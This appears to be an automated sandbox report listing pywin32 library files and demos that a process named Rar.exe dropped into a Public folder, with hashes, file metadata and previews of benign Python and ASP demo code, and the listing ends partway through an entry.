C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axdebug\adb.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	18119
Entropy (8bit):	4.487056283454847
Encrypted:	false
SSDEEP:	192:eKL8ySGNxaBFGzo1AwOSdrnm8XabLv5uFuFvA0WvmbpB1WxqRZxZG+q8VhgW+UCA:eKLdSa47XoTwwx
MD5:	EE8E4594A8FDCCD97F5CADEEDB5AFC55
SHA1:	0A7834C1DAB475780AE36812FDF30FF395CEC900
SHA-256:	E1DE907DB159D0E0ACD768F18A091B07BF00F2285F25E470F15A9C0532BE7B92
SHA-512:	D9C89AFF68AC53F3451E281B9CEB9108596C7681F4EF269089B25967068531D4621DBF2F8A8F52FD37E533FFD76D06836D5B05330F1C5DBE45B8CD67F7EF8574
Malicious:	false
Reputation:	low
Preview:	"""The glue between the Python debugger interface and the Active Debugger interface.""".import _thread.import bdb.import os.import sys.import traceback..import pythoncom.import win32api.import win32com.client.connect.from win32com.axdebug.util import _wrap, _wrap_remove, trace.from win32com.server.util import unwrap..from . import axdebug, gateways, stackframe...def fnull(*args):. pass...try:. os.environ["DEBUG_AXDEBUG"]. debugging = 1.except KeyError:. debugging = 0..traceenter = fnull # trace enter of functions.tracev = fnull # verbose trace..if debugging:. traceenter = trace # trace enter of functions. tracev = trace # verbose trace...class OutputReflector:. def __init__(self, file, writefunc):. self.writefunc = writefunc. self.file = file.. def __getattr__(self, name):. return getattr(self.file, name).. def write(self, message):. self.writefunc(message). self.file.write(message)...def _dumpf(frame):. if frame is N

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axdebug\codecontainer.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9102
Entropy (8bit):	4.493445466012749
Encrypted:	false
SSDEEP:	192:oPLUXZdF0mWmROuDaERT4GYFpJNVfGoir+:oPLUJDrtDaEnSpRS+
MD5:	29E392CA4BA011B3903E269EF428F91F
SHA1:	4F8737F439EC4EB942AEC02F026602888071B500
SHA-256:	818DB719887CBF9C5EA0992EF19B64596EF360CCD6CDFF9B0DE1D42C72065687
SHA-512:	FEE4664B8ED4C38A416BCBD193380317E3D0535458372CBFE0C2ACF7AF9883AC66D581894DF070E5CC587C2866FE0F6C517CFDADC013C8578190350D846EE9E5
Malicious:	false
Reputation:	low
Preview:	"""A utility class for a code container...A code container is a class which holds source code for a debugger. It knows how.to color the text, and also how to translate lines into offsets, and back.."""..import sys.import tokenize..import win32api.import winerror.from win32com.axdebug import axdebug.from win32com.server.exception import Exception..from . import contexts.from .util import RaiseNotImpl, _wrap.._keywords = {} # set of Python keywords.for name in """. and assert break class continue def del elif else except exec. finally for from global if import in is lambda not. or pass print raise return try while. """.split():. _keywords[name] = 1...class SourceCodeContainer:. def __init__(. self,. text,. fileName="<Remove Me!>",. sourceContext=0,. startLineNumber=0,. site=None,. debugDocument=None,. ):. self.sourceContext = sourceContext # The source context added by a smart host.. self.text = text. if te

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axdebug\contexts.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2134
Entropy (8bit):	4.652713352085003
Encrypted:	false
SSDEEP:	24:nmbJCkZpzPRLcONpFxTXRuhOB4IO0AC04tqDdmQkAflms2jNSO4XmN/wF26H4j:8DZppcEpUC4sfztqDIHImvjAOfle2w4j
MD5:	41E8D769F19AA9395EFFDD5EB491D7F8
SHA1:	8E572F48D4C957A43F1135BF541756ACF78DCEB0
SHA-256:	F347434427F90D632B58892800E53E788B1C6D8598674AB1B572DD79D2B8C9B9
SHA-512:	49AB0F700C534D119C5B1DE910C10A7CB021AFCB2D0A8B750ABDB9CB43B9E3CB6B203FB817F96497F44853878689827E8062A21B29BD7B4960FA6550B99EEF57
Malicious:	false
Reputation:	low
Preview:	""" A module for managing the AXDebug I*Contexts..""".import pythoncom.import win32com.server.util..from . import adb, axdebug, gateways..# Utility function for wrapping object created by this module..from .util import _wrap, _wrap_remove, trace...class DebugCodeContext(gateways.DebugCodeContext, gateways.DebugDocumentContext):. # NOTE: We also implement the IDebugDocumentContext interface for Simple Hosts.. # Thus, debugDocument may be NULL when we have smart hosts - but in that case, we. # wont be called upon to provide it.. _public_methods_ = (. gateways.DebugCodeContext._public_methods_. + gateways.DebugDocumentContext._public_methods_. ). _com_interfaces_ = (. gateways.DebugCodeContext._com_interfaces_. + gateways.DebugDocumentContext._com_interfaces_. ).. def __init__(self, lineNo, charPos, len, codeContainer, debugSite):. self.debugSite = debugSite. self.offset = charPos. self.length = len. self.brea

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axdebug\debugger.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7322
Entropy (8bit):	4.549344705587493
Encrypted:	false
SSDEEP:	192:BosLADiSwwkDCx7kPIkcxVV82n1UPHE0IUNEqbSuPh3dCBW0PVR3kI:BLMTStckPw7
MD5:	387299A7C13295D50D933231F8F6A929
SHA1:	4641E9553DB4E595AFDE8F58F21C530820CB7F5E
SHA-256:	21EFC71AB966D7C710BA7574596D3A357CE3B5BDDB6573F1972749EB4D88D554
SHA-512:	C82CFF3EB979210A1499ED6CCA43FD141F67386E67FC95AF3D68645CD4D85054B4944111FAA807F43BA03DA90B215707DE07DD58A34B26E340D7D7D3999B8C75
Malicious:	false
Reputation:	low
Preview:	import os.import string.import sys..import pythoncom.import win32api.from win32com.axdebug import (. adb,. axdebug,. codecontainer,. contexts,. documents,. expressions,. gateways,.).from win32com.axdebug.util import _wrap, _wrap_remove, trace.from win32com.axscript import axscript..currentDebugger = None...class ModuleTreeNode:. """Helper class for building a module tree""".. def __init__(self, module):. modName = module.__name__. self.moduleName = modName. self.module = module. self.realNode = None. self.cont = codecontainer.SourceModuleContainer(module).. def __repr__(self):. return "<ModuleTreeNode wrapping %s>" % (self.module).. def Attach(self, parentRealNode):. self.realNode.Attach(parentRealNode).. def Close(self):. self.module = None. self.cont = None. self.realNode = None...def BuildModule(module, built_nodes, rootNode, create_node_fn, create_node_args):. if module:.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axdebug\documents.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4401
Entropy (8bit):	4.634738775565931
Encrypted:	false
SSDEEP:	96:EkzmKcyc/q71ADDZGh5I1jy6HckRTiGITKtT1Yxh9od:hBc/S1QDl9HckBYu2hS
MD5:	2AA8B553D5153F6DE188A218397E83C5
SHA1:	0790935A4CF2FD67EC2CA5DE3155317C22F52E52
SHA-256:	8967559AFA19CC76D9DAD22AE479F6C5F7F4527D2427B729CF316F94CFC49405
SHA-512:	89A24983B381D17E5677E63AF018D82AFF91540056EF7A142BAAB99C4B37FBB2C69D571DCE1793C470CBCBEC2C5B5A2AC9DAEC77AC7AC0434452B67000A73C94
Malicious:	false
Reputation:	low
Preview:	""" Management of documents for AXDebugging.."""...import pythoncom.import win32api.from win32com.server.exception import Exception.from win32com.server.util import unwrap..from . import axdebug, codecontainer, contexts, gateways.from .util import RaiseNotImpl, _wrap, _wrap_remove, trace..# def trace(*args):.# pass...def GetGoodFileName(fname):. if fname[0] != "<":. return win32api.GetFullPathName(fname). return fname...class DebugDocumentProvider(gateways.DebugDocumentProvider):. def __init__(self, doc):. self.doc = doc.. def GetName(self, dnt):. return self.doc.GetName(dnt).. def GetDocumentClassId(self):. return self.doc.GetDocumentClassId().. def GetDocument(self):. return self.doc...class DebugDocumentText(. gateways.DebugDocumentInfo, gateways.DebugDocumentText, gateways.DebugDocument.):. _com_interfaces_ = (. gateways.DebugDocumentInfo._com_interfaces_. + gateways.DebugDocumentText._com_interfaces_.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axdebug\dump.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1848
Entropy (8bit):	4.814656699804549
Encrypted:	false
SSDEEP:	24:qhzmTQ1L1PZQeNy1GcQ2ALkyOZvnvIeJCfkfsFTs/buRtYZHXYzSTuhvapznmLM:6mTQ1BhNIc2qk3ZmkfqdwZv6hvax8M
MD5:	6D76BE29D21C5060BA0BB6A470B6AE02
SHA1:	2C95D58045D5A3EBC7B59EFE876A8C7C0832A52F
SHA-256:	71A341F5D200376EA64FE9CC4A0074B9AC01F13177BB5BD48649594D6B593E9D
SHA-512:	A37EE595C1B6BE4A771CA85B1D23541E3EC5A2B62AAA5B2C96C874512585C00F429AB361D5B8A1A24568715219936991E50F645424C6A14448F4C7CC567F6E70
Malicious:	false
Reputation:	low
Preview:	import traceback..import pythoncom.from win32com.axdebug import axdebug.from win32com.client.util import Enumerator...def DumpDebugApplicationNode(node, level=0):. # Recursive dump of a DebugApplicationNode. spacer = " " * level. for desc, attr in [. ("Node Name", axdebug.DOCUMENTNAMETYPE_APPNODE),. ("Title", axdebug.DOCUMENTNAMETYPE_TITLE),. ("Filename", axdebug.DOCUMENTNAMETYPE_FILE_TAIL),. ("URL", axdebug.DOCUMENTNAMETYPE_URL),. ]:. try:. info = node.GetName(attr). except pythoncom.com_error:. info = "<N/A>". print("%s%s: %s" % (spacer, desc, info)). try:. doc = node.GetDocument(). except pythoncom.com_error:. doc = None. if doc:. doctext = doc.QueryInterface(axdebug.IID_IDebugDocumentText). numLines, numChars = doctext.GetSize(). # text, attr = doctext.GetText(0, 20, 1). text, attr = doctext.GetText(0, numChars, 1). print

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axdebug\expressions.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6660
Entropy (8bit):	4.647807501549084
Encrypted:	false
SSDEEP:	192:rvAbbKjWe2iHx/l+JR2DJukLtw71bpHt76ehXdA47EZD9n:rvBjW0xtg0GIehiB
MD5:	F797F20D5F6C508B3B9E4CB6280D495C
SHA1:	BD14914C9245677A9E2B53EF9D3D0EE0D4A0A441
SHA-256:	92A0F62EA386B80661AB0B457EF1067429CF130626DB70D0ADD269D61E877BBA
SHA-512:	60E504657D8E88E37BE6C094D3D8A5D3A58B6E52CA2D2D92E4DF9BDBDE87E28129920003A150D1099EB9A9A6E3A67DF925E222B793FC70F4F1716AFE65DE1AEB
Malicious:	false
Reputation:	low
Preview:	import io.import string.import sys.import traceback.from pprint import pprint..import winerror.from win32com.server.exception import COMException..from . import axdebug, gateways.from .util import RaiseNotImpl, _wrap, _wrap_remove...# Given an object, return a nice string.def MakeNiceString(ob):. stream = io.StringIO(). pprint(ob, stream). return string.strip(stream.getvalue())...class ProvideExpressionContexts(gateways.ProvideExpressionContexts):. pass...class ExpressionContext(gateways.DebugExpressionContext):. def __init__(self, frame):. self.frame = frame.. def ParseLanguageText(self, code, radix, delim, flags):. return _wrap(. Expression(self.frame, code, radix, delim, flags),. axdebug.IID_IDebugExpression,. ).. def GetLanguageInfo(self):. # print "GetLanguageInfo". return "Python", "{DF630910-1C1D-11d0-AE36-8C0F5E000000}"...class Expression(gateways.DebugExpression):. def __init__(self,

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axdebug\gateways.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	17368
Entropy (8bit):	4.743302883094311
Encrypted:	false
SSDEEP:	384:wtU0c7hDFkwZjeD+i+HL8wEgIz2qXyYSZgf2KpFKZMftRjeqy0993:HgxHXz
MD5:	91CE2F0A108FDC282590D9E5B1D57BD5
SHA1:	823217DEBA5D13B6870A84AE234533E58524DD5C
SHA-256:	5C1DFDEDADE48A6B77F9CE91BA18420DBC6EF210B292031AFB0D68C57E3EA3D5
SHA-512:	C3EAEEC8D00D9BA51710166AD29B5F6501025A5F447270592DE304172693792F5D7778BC8A166734EEF6196F29F63AB8E8DC883F1A9F53C6AF40EF6C08A39979
Malicious:	false
Reputation:	low
Preview:	# Classes which describe interfaces...import pythoncom.import win32com.server.connect.import winerror.from win32com.axdebug import axdebug.from win32com.axdebug.util import RaiseNotImpl, _wrap.from win32com.server.exception import Exception.from win32com.server.util import ListEnumeratorGateway...class EnumDebugCodeContexts(ListEnumeratorGateway):. """A class to expose a Python sequence as an EnumDebugCodeContexts.. Create an instance of this class passing a sequence (list, tuple, or. any sequence protocol supporting object) and it will automatically. support the EnumDebugCodeContexts interface for the object... """.. _com_interfaces_ = [axdebug.IID_IEnumDebugCodeContexts]...class EnumDebugStackFrames(ListEnumeratorGateway):. """A class to expose a Python sequence as an EnumDebugStackFrames.. Create an instance of this class passing a sequence (list, tuple, or. any sequence protocol supporting object) and it will automatically. support the EnumDebugStackFr

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axdebug\stackframe.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6188
Entropy (8bit):	4.452659775607199
Encrypted:	false
SSDEEP:	96:FeJq8K36fSxfssI13I2pTtY90PwkTUMj8tvAk9fgF3Y8FvXtK5rnHN:FeJh0sLK07IekRghYkvXMrnHN
MD5:	BB74968397B6E873401FE99120E757D1
SHA1:	942FBABF30B5BE0804FBB9FEE360DAC47EFC4A4E
SHA-256:	DFE9F868AEA9D9DE6E80C09F5F760CB645DED28DB822C0A59616F7304227BD85
SHA-512:	BF112BD9B9EF808E263773251046ABBC98E6324104FBAA3DE9AB7352254F3B4D86723A334B9ECB64081909B8F66D44907737B3A65BF52345DFF67FB60C72F861
Malicious:	false
Reputation:	low
Preview:	"""Support for stack-frames...Provides Implements a nearly complete wrapper for a stack frame.."""..import pythoncom.from win32com.server.exception import COMException..from . import axdebug, expressions, gateways.from .util import RaiseNotImpl, _wrap, trace..# def trace(*args):.# pass...class EnumDebugStackFrames(gateways.EnumDebugStackFrames):. """A class that given a debugger object, can return an enumerator. of DebugStackFrame objects.. """.. def __init__(self, debugger):. infos = []. frame = debugger.currentframe. # print "Stack check". while frame:. # print " Checking frame", frame.f_code.co_filename, frame.f_lineno-1, frame.f_trace,. # Get a DebugCodeContext for the stack frame. If we fail, then it. # is not debuggable, and therefore not worth displaying.. cc = debugger.codeContainerProvider.FromFileName(frame.f_code.co_filename). if cc is not

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axdebug\util.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3880
Entropy (8bit):	4.6127634119609935
Encrypted:	false
SSDEEP:	96:Hrgk3hAQPj1I3Hwi30BSj/T0FZ0SeRHNeE8kU:Hro3HwW0doLRHNeEw
MD5:	53D678C9FC15296555985838DF50E690
SHA1:	91D89ED3CC99A6FB4BFBFD6E76DE4E2733439E7A
SHA-256:	DCA8142BC92ABE4AECCEECC9F4574BE4CCC3B0F45AE63BFF1CF564D84321DB64
SHA-512:	0DF8021DB55E39D0867F98A5E7FB26F130FB3BEA3CB280FA80E13EF88DCBFECE383AD62D1F4EC444129DD431601D415D64F69D1801304DAF98A54863899C7BC7
Malicious:	false
Reputation:	low
Preview:	# Utility function for wrapping objects. Centralising allows me to turn.# debugging on and off for the entire package in a single spot...import os.import sys..import win32api.import win32com.server.util.import winerror.from win32com.server.exception import Exception..try:. os.environ["DEBUG_AXDEBUG"]. debugging = 1.except KeyError:. debugging = 0...def trace(*args):. if not debugging:. return. print(str(win32api.GetCurrentThreadId()) + ":", end=" "). for arg in args:. print(arg, end=" "). print()...# The AXDebugging implementation assumes that the returned COM pointers are in.# some cases identical. Eg, from a C++ perspective:.# p->GetSomeInterface( &p1 );.# p->GetSomeInterface( &p2 );.# p1==p2.# By default, this is _not_ true for Python..# (Now this is only true for Document objects, and Python.# now does ensure this...all_wrapped = {}...def _wrap_nodebug(object, iid):. return win32com.server.util.wrap(object, iid)...def _wrap_debug(object, iid)

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\asp\CreateObject.asp

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	494
Entropy (8bit):	4.950467557412256
Encrypted:	false
SSDEEP:	6:FUHFOaiAvxO62SE3ua0adaLVsT8Oc/Y7GAslF6PRT6QGtZCH7LWczhMSLurpNNF2:ylaUx7EtX89ACAy4hg+2cDeJFw3Ph3
MD5:	F2A1816F8A766DA6CA8710F78CD87A01
SHA1:	C64D0487D9938B9C27AFD0A27A32582C904FBBA7
SHA-256:	01BFD732042A9C625240F5497C2EADF37FC39C26F17FE8BDA1510E81A2FF8113
SHA-512:	EC0161C0EAF31885B6A4CE81D20285777B37A45B532F42B8F49FDFF6A1D0D905CE59410E22395BB322745239599C6ECE29623C3FAA7EF3163C69F18D24F12155
Malicious:	false
Reputation:	low
Preview:	<HTML>..<SCRIPT Language="Python" RUNAT=Server>..# Just for the sake of the demo, our Python script engine.# will create a Python.Interpreter COM object, and call that...# This is completely useless, as the Python Script Engine is.# completely normal Python, and ASP does not impose retrictions, so.# there is nothing the COM object can do that we can not do natively...o = Server.CreateObject("Python.Interpreter")..Response.Write("Python says 1+1=" + str(o.Eval("1+1")))..</SCRIPT>..</HTML>..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\asp\caps.asp

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1315
Entropy (8bit):	5.376773374308319
Encrypted:	false
SSDEEP:	24:peB8PCGd0fnMYVdK1fXwAqfyBxbdLGLNWLheZI9zc:peBW6t2IABDMN8EZIlc
MD5:	E74AF176267B3EFCD55D9F2C0A7C79A0
SHA1:	3FCFD4109B54E5278A83924535E5A794C3ADAC02
SHA-256:	B0638B401EBACC0288601B8DCD9DFC05492B8130047153E2B3DAAA89A9D584EC
SHA-512:	611767B3242D4B1AAC1B0CBF2DDF230B84FF265A68DA97032ADD88185CFE485417EB35916412416D477F7447DEBDAE1B00B198A226C55669F40A3568CC1DB714
Malicious:	false
Reputation:	low
Preview:	<%@ Language=Python %>.<HTML>..<HEAD>..<BODY BACKGROUND="/samples/images/backgrnd.gif">..<TITLE>Python test</TITLE>..</HEAD>..<BODY BGCOLOR="FFFFFF">..<SCRIPT Language="Python" RUNAT=Server>.# NOTE that the <% tags below execute _before_ these tags!.Response.Write("Hello from Python<P>").Response.Write("Browser is "+bc.browser).import win32api # Should be no problem using win32api in ASP pages..Response.Write("<p>Win32 username is "+win32api.GetUserName()).</SCRIPT>..<BODY BGCOLOR="FFFFFF">..<% .import sys.print sys.path.from win32com.axscript.asputil import *.print "Hello".print "There".print "How are you".%>..<%bc = Server.CreateObject("MSWC.BrowserType")%>.<BODY BGCOLOR="FFFFFF">.<table border=1> .<tr><td>Browser</td><td> <%=bc.browser %> .<tr><td>Version</td><td> <%=bc.version %> </td></TR> .<tr><td>Frames</td><td> .<%Response.Write( iif(bc.frames, "TRUE", "FALSE")) %></td></TR> .<tr><td>Tables</td><td> .<%Response.Write( iif (bc.tables, "TRUE", "FALSE")) %></td></TR> .<tr><td>Back

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\asp\interrupt\test.asp

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.6634420662057625
Encrypted:	false
SSDEEP:	3:mEL/92RNKvL+wWVKj5XAGdATLNZAbbL:mEQRNKvL9WVKSQsWL
MD5:	026BD95291EF0A682B4CFE39AF58260E
SHA1:	16D41B16A3271F3C47C5B48DF9C23C42F1554468
SHA-256:	8C9847520D55AD42055BBF62213AB1C2AFE0DFA403E0F0AF98C351DD85AA8C2E
SHA-512:	4C927C06C3F48EC93D034BC3D09F38ED34127DC45665AE419ED75A30F0C418526B91702C7AFBB95C4380F7575926350F5454267D043B85270AD74DA2E4E9007B
Malicious:	false
Reputation:	low
Preview:	<%@ language=python%>.<html>.<%Response.Redirect("test1.html")%>.</html>.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\asp\interrupt\test.html

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	156
Entropy (8bit):	4.90258935885804
Encrypted:	false
SSDEEP:	3:qVvzL5LJxLNA6zEO9hYLgMkADFqCkXAhTtKMLmUytE0BUYL0Hac4Nhtv0GL:qFzL5PNG+mkCkwhBXL/yLB/4HX43d0GL
MD5:	4697F4D1A8711448BB1D5BD6CF1231C2
SHA1:	A20D91CC916C86FDBB44EE7668B349A3D83AD4DB
SHA-256:	25F04589490D305CA3239E0B966C96223BA90D4B4FE28C90A99CA36499401F07
SHA-512:	D54624A111A4CA78FEDD61803DE9D431138DE9BC9C638721B9152060A73327CFF7EDF45E111BE519A941E2D3AA0A45C55B2E4CFB73031B664942792B2FDF8442
Malicious:	false
Reputation:	low
Preview:	<html>.<head>.<body>.GOT There.<script language=javascript>.location.href ="http://192.168.0.1/Python/interrupt/test.asp".</script>.</body>.</head>.</html>.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\asp\interrupt\test1.asp

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.6104528177240605
Encrypted:	false
SSDEEP:	3:mEL/gY1cRmAuLzLQzVKj5XAGdAMDzAbCtv0GL:mEsY1gmLLzLQzVKSQpDvd0GL
MD5:	D0CB165841523828342DF630383F186B
SHA1:	E665CE9AAD499376F3276ACDA634D3A22C34CAEC
SHA-256:	AB5ED95B776F29DD0400CD828711499CC10C7E6931EA20F8385FC533FD18C9FB
SHA-512:	E4C2F1E61D29B97B79F4C05B51868593DC0333135ED9127D77A53774FA4D3AAFB794A0882089A534C3BC52733AB668AF6B6DD57B5102E8724B72C5A4842712E2
Malicious:	false
Reputation:	low
Preview:	<%@ language =Python%>.<html>.<head>.<%Response.Redirect("test.html")%>.</head>.</html>.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\asp\interrupt\test1.html

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	157
Entropy (8bit):	4.983678484412114
Encrypted:	false
SSDEEP:	3:qVvzL5LJxXg31Gc/O9hYLgMkADFqCkXAhTtKMLmUyywWbUYL0Hac4Nhtv0Gb:qFzL5Tsr+mkCkwhBXL/yyv/4HX43d0Gb
MD5:	1B4E08E69BD9F5D8293027471D077F99
SHA1:	26977EFF9335A67752617B5157AE5B5BEC28724D
SHA-256:	2E979B43BE08A3D05A4FD1025535CB1A62FD8C13543DE349A3AB234D79A73F15
SHA-512:	C0CE32ECD4F248FC506F9F76B6C948DDA3EA0CEC522CE5BBC307E548697039AEC1E8B80F473A7404D0DF0D770D038C9465ADD32D73102C1DA8942E5FF6196391
Malicious:	false
Reputation:	low
Preview:	<html>.<head>.<body>.GOT HERE.<script language=javascript>.location.href ="http://192.168.0.1/Python/interrupt/test1.asp".</script>.</body>.</head>.</html>..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\asp\tut1.asp

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	147
Entropy (8bit):	5.274402840972784
Encrypted:	false
SSDEEP:	3:IYEx2RmHF3ea37IhoyMllVKLHAVNIrqs/AAq8EZ3um3sHvUxu:FUHFOarooyMlPTNWqs/OZ3uhUA
MD5:	8168EBE418724E0C4EEEDB6665A4F6A4
SHA1:	FF31C99DE2936CF84811B14F124F39E8484B2A55
SHA-256:	70FC184DE0D27A737BBC7F80920182423754308A463972746D8402FD323EC13C
SHA-512:	4E9010B0F4EDEF9577463CA3CFDDCCFBC9E41EE980DD77BF06E3D6D4D6164F02046757C73775C924936B153B5F9F83B0E6B20B77D1308DAEED6F2039359A770C
Malicious:	false
Reputation:	low
Preview:	<HTML>..<SCRIPT Language="Python" RUNAT=Server>..for i in range(3,8):. Response.Write("<FONT SIZE=%d>Hello World!!<BR>" % i)..</SCRIPT>..</HTML>..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\ie\MarqueeText1.htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	703
Entropy (8bit):	5.385246322101013
Encrypted:	false
SSDEEP:	12:oZhcbDgAGNbvIMW6fmIMjFxvW5+/nvYT6BmV3btH0eeWcmgWb54Z:lDvGNHeN5ZnvqV3bl0McKWZ
MD5:	10B0570EAD68CAADAF8D8DCD1068186B
SHA1:	064C8C607A92E3CE9890C5D5321FC1B87D1D2525
SHA-256:	82B95E73D9C392A9A73C11A70BE148A31AB0319C0A1C671A92B5CCAE2144DCDD
SHA-512:	16CB4A706979124E5934722D04FF9646FA61A1D13EDAD9EF350EEEC1EEA57EF5FB82E5C13663D5675E63B74EBE1A698CBD58A368F890E7FAABC0E766341FD643
Malicious:	false
Reputation:	low
Preview:	<HTML>.<HEAD>.<base target="text">.<TITLE> Internet Workshop </TITLE>.</HEAD>.<BODY leftmargin=8 bgcolor="#FFFFFF" VLINK="#666666" LINK="#FF0000">.<FONT FACE="ARIAL,HELVETICA" SIZE="2">..<P>.<BR>.<P><FONT FACE="ARIAL,HELVETICA" SIZE="5"><B>Python AX Script Engine</B></FONT>.<BR>Demo using the Marquee Control.<BR>Mark Hammond...<P>This is really quite a boring demo, as the Marquee control does everything. However, there is Python code behind the buttons that change the speed. This code is all of 2 lines per button!!!..<P>For more information on Python as an ActiveX scripting language, see..<P><B>Python</B>.<BR><A HREF="http://www.python.org">http://www.python.org</A>..</FONT>.</BODY>.</HTML>..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\ie\calc.htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4041
Entropy (8bit):	5.5292605945184325
Encrypted:	false
SSDEEP:	96:wEp41y4GkCW/1G5dLeWN7B/i2axYSPSZ9wpZScPna0xz:p4Gk9/1GrLeW9B/Baxm9mpfrxz
MD5:	8086A77C0AFEBF5E4ECC92BCEAB7CD6F
SHA1:	73641104167D1C288744D4D5F3181FB96720CEE7
SHA-256:	A14C19EAC6B111B111EED2C921FFBA4C6568333A3709E47CBE7CC0F90775E428
SHA-512:	D7091C5558BC51A83F2CDE73B1EA89C6ABFA7116D9C5F1700284AFC014C584D49365F657E5B4C179E3F9EB99CBD4ACD2C38FA355EAB03220906CDCAFA1B61F27
Malicious:	false
Reputation:	low
Preview:	<HTML>.<HEAD><TITLE>Python Script sample: Calculator</TITLE></HEAD>.<BODY><FONT FACE=ARIAL SIZE=3> global default -->.<SCRIPT LANGUAGE="Python">.# globals.Accum = 0.0. # Previous number (operand) awaiting operation.FlagNewNum = 1 # Flag to indicate a new number (operand) is being entered.NullOp = lambda x,y: y.PendingOp = NullOp# Pending operation waiting for completion of second operand.numberButNames = ['Zero','One','Two','Three','Four','Five','Six','Seven','Eight','Nine']..def NumPressed(Num):..print "NumPressed", Num..global FlagNewNum..if FlagNewNum:...ax.document.Keypad.ReadOut.Value = Num...FlagNewNum = None..else:...if ax.document.Keypad.ReadOut.Value == "0":....ax.document.Keypad.ReadOut.Value = str(Num)...else:....ax.document.Keypad.ReadOut.Value= ax.document.Keypad.ReadOut.Value + str(Num)..# Dynamically create handlers for all the decimal buttons..# (ie, this will dynamically create "One_OnClick()"... etc handlers.for i in range(len(numberButNames)):..exec "def %s

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\Demos\client\ie\dbgtest.htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	190
Entropy (8bit):	5.084425142097858
Encrypted:	false
SSDEEP:	3:IgWbIKaJK9ZFUPZU3sHvb0kXQRNQHbv9KRPsEwrASvtALRmcsBOgyORSSMvPJHvM:FaaJ07wJNQrQHbspsnAAAL/mOtOU/vJM
MD5:	CB7D0FCEE05856D1023835587EC3D021
SHA1:	29D008C65FE21269E6300F6F4758170C3475A391
SHA-256:	0AC968776857FCD744836FF9AA02466F295D2C1440DFF3B02407298F09750546
